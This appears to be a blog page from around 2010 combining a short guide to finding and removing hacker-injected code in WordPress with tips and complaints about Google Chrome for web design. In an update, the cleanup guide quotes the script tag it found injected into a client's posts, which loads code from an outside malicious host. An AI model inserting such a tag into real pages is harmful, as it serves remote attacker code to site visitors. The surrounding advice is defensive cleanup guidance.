I thought I’d share a little information I’ve gathered on this subject, in case it might be helpful to anyone else out there.

Hardening WordPress Security

I won’t bother reprinting the entire article, because well that would be plagiarism, but there’s a bunch of useful information posted at Smashing Magazine on how to harden your WP installation. Read it here.

I particularly recommend steps 1 (particularly if you don’t have any use for additional registered users other than admins, though if you do have other users, you might want to give this a skip), 3,4,5,7,8 and 9 in particular.

How to Find Compromised Files

I’ve noticed three main ways these hackers have changed my files, primarily by altering existing files but also by creating new files.

1. Check your header.php and footer.php (the latter was a culprit more often than the former for me) for a bunch of extra code. This will be unreadable, random letters and numbers, which is something called obfuscated code that basically makes it harder to find by antivirus software. Once you find it, delete the heck out of it.
2. Check any Javascript files, typically in your theme folder but possibly in your plugins folder or anywhere else on your site, for similar code, and remove it as well.
3. A bit more tedious, go into your /wp-content/uploads folder and look for PHP files that are just named with numbers, such as 12345.php. Delete these. Really, there probably shouldn’t be any PHP files in your uploads folder, other than perhaps an index.php file.

I’ll update this post as I come across any further information on the subject.

Update 7/29/2010 1:11am. On a very outdated client’s site (WP 2.3.3) I found the following code injected directly into posts: <script src=”http://ae.awaue.com/7″></script>. The client’s site also had a database error, which was odd that the injected malicious code would also break the database, preventing the site from being accessible and therefore the malicious code from working…

Update 7/29/2010 2:10am. It’s also a good idea to check your Users list for admins, particularly jonnya, jonnyb and amin. Delete ‘em.

Adding Javascript Applets to Chrome’s Bookmarks

Before reading this, you might want to take a gander at this post which explains how to get a nifty dropdown menu next to the “Awesome Bar”, aka the address bar / Google search box combo up there at the top of Chrome. Now, onto the ordered list.

1. Open a New Tab in Chrome. Command+T on a Mac, Ctrl+T on a Windows.
2. Right click on the Bookmarks Toolbar. It’s a gray colored box like the one pictured here.
3. Select “Add Page” from the contextual menu that appears.
4. Give the Bookmark a name. You could Google “Baby Names” if you can’t come up with one. I like Shepherd or Samson or even Samsonite if you have aspirations of a career in luggage design, sales or airport security.
5. Paste the Javascript applet into the URL field.
6. Save that son of a gun and you’re on your way to finishing this tutorial!

Hope that helps at least 7 of you, otherwise it doesn’t seem worth the effort of writing this post. But it’s written, so let the countdowns begin.

It’s not the prettiest solution, I’ll admit, but it gets the job done well and only the dropdown itself is a little ugly, given the choice of font. But everyone needs a little Times New Roman in their life and let’s face it, it’s just lacking on the hit websites these days.

Next in my list of irks was that Chrome didn’t support web-based email clients like Gmail, instead defaulting to opening whatever your operating system’s default mail client might be (Outlook, Mail, etc.) Via extensions, we have a few solutions to this problem:

• Send Using Gmail (no button) is similar to the extension above, but it doesn’t add the Gmail button. For those of you and me who’d like to keep our browser as minimal as possible.

So mailto click away, folks!

How to Get Nice Looking RSS Feeds in Google Chrome

RSS Feeds in Chrome via an extension

I still think this should be a default option but Google explains that they are trying to keep Chrome as bare bones as possible, that most users don’t actually use RSS, and so while it was a default option in the past, they took it out and made it into an extension due to these facts.

RSS Feeds

Chrome doesn’t handle RSS Feeds natively by default. Is that redundant? Can Natives be Defaults? Only if their parents are interested in unusual names. But enough with the hilarious jokes making you laugh too loud in your cubicle, aka, the bus you’re reading this on. While I understand that the majority of users don’t know what RSS is let alone use it, it’s a handy protocol that’s changing the way people consume information and will continue to do so at a growing rate as Grandpa checks into the afterlife and little Suzy’s desk at school is replaced by a giant iPad. With Chrome, you either have to use an extension to read RSS feeds, or open Firefox. I don’t want to use extensions, the whole point of using Google Chrome is to keep it raw and fast, as Firefox as a browser is still better functionality-wise, just not in the performance department.

Gmail Support

Click a myemailaddressis@gmail.com link in a browser and Chrome tries opening up Outlook, Mail, or whatever your default desktop email client is. I don’t use a desktop client, and like everyone else who isn’t still wearing scrunchy socks or remembering how great the 1800s were, I use Gmail for my Internet communication type things. Google makes Gmail, Google makes Chrome, but Google doesn’t let Gmail and Chrome play nicely together. I can only assume it’s because of that one time that they were left alone at the house for the weekend while Mama and Pappa Google went off to the Bahamas and the two of them threw an online bash like nothing Windows ME could have ever imagined. So the only solution to avoid having Mail open up on me every time I want to easily send an email to someone is to copy/paste the address, switch over to a tab running Gmail, and proceed from there like I’m some kind of common task manager.

Firefox has a bookmarks toolbar, and it can be customized wonderfully to take up very little space (see the picture to the right.) What you’re seeing there a simple » button which you can click to bring up a dropdown menu showing whatever bookmarks you’d like to display therein. I click the CBT booklet and I’ve fixed any errors in IE7 before the cows got the memo to come home.

For whatever reason, Google Chrome feels like the bookmarks should only be accessed from a new, blank page, or from the menu way up there in the File Edit View… bar. If I wanted to travel so far north every time I needed a bookmark, I’d open a Border’s in Greenland.

Something about Webkit, however, renders text differently than Firefox does, even on the same OS, so you can end up with spacing differences. Still fixable by targeting particular browsers, but again, how annoying. This isn’t really a fault with Webkit vs. Firefox’s rendering engine, but simply that the browsers end up with differences, and since more people use Firefox than Chrome and Safari (as of the writing of this article, more than twice as many people use FF than use both Chrome and Safari combined), as a Web Designer, developing in a browser that is less common and renders differently than the more popular ones just doesn’t make sense.

The ideal solution would be that all browsers use the same rendering engine, Webkit being a great choice since it’s already used in Chrome, Safari and Apple’s slew of iProducts, but I’m still waiting on the call back from the King of DotCom on that one.

The process for building websites in the past went a little something like this:

1. Write some code in your favorite editor (I like Coda for Mac, FYI).
2. FTP that to your website.
3. Open up the site in your browser, wait for it to load. Wow, it’s all messed up.
4. Edit the code back in your favorite editor (I like Coda, did I mention that?)
5. Repeat steps 2 through 3, over and over again until Comcast calls you and says you’re using too much bandwidth and you find out you’re 93 years old for all the time spent waiting.

With Firebug, you just right click on an element and can edit the CSS values right there. Figure it all out, go back and make the changes in your editor, and you’re done.

Chrome comes with a built in feature similar to this, and it’s a lot like Safari’s Element Inspector. Both of those browsers differ from the Firebug plugin in one major way: they’re not as easy to use. Firebug opens up in a pane at the bottom of the browser window. Chrome’s Inspector opens in a new window of its very own, requiring crafty keyboard shortcuts or mouse clicking to go back and forth between browser and inspector. Weak.

That’s my only major complaint there, but it’s one of those little things that itches your knuckles just enough to keep you from wanting to use Chrome full time.

Like everyone else, I had 157 plugins that did nothing particularly relevant and eventually found my particular version of that browser bringing up web pages as slowly as Firefox was quick to crash. I dumped all of the plugins and started focusing in on what the Internet was really for: me to build websites for other people to use it. I started realizing that the world was big and green and wonderful outside, something that I thought faded out with my teenage years. Firefox came out with update after update and still I found the browser crashing, hogging memory, and generally becoming the pain in the processor for which I’d switched from IE in the first place. In 2006, the Pittsburgh Steelers won their 5th Super Bowl championship, yet it was completely eclipsed by the news that I’d finally bought my first Mac and tried Safari a few months later. For various reasons, primarily Safari’s lack of customization (and when you do customize it, will Apple kill all of those customizations with the next release?), I switched back to Firefox.

So for the rest of the first decade of the turn of the century that officially marked the future known as the 2000s, I was back in FF, watching my browser slow down my computer more than Photoshop at a slow foods conference. And then Google Chrome was released for Mac and that gave me the potential to change everything.

I’ve been using Chrome intermittently over the past month, more heavily over the past two weeks, and right here on this very website I’ll be exploring the potential of the browser as it applies to building websites.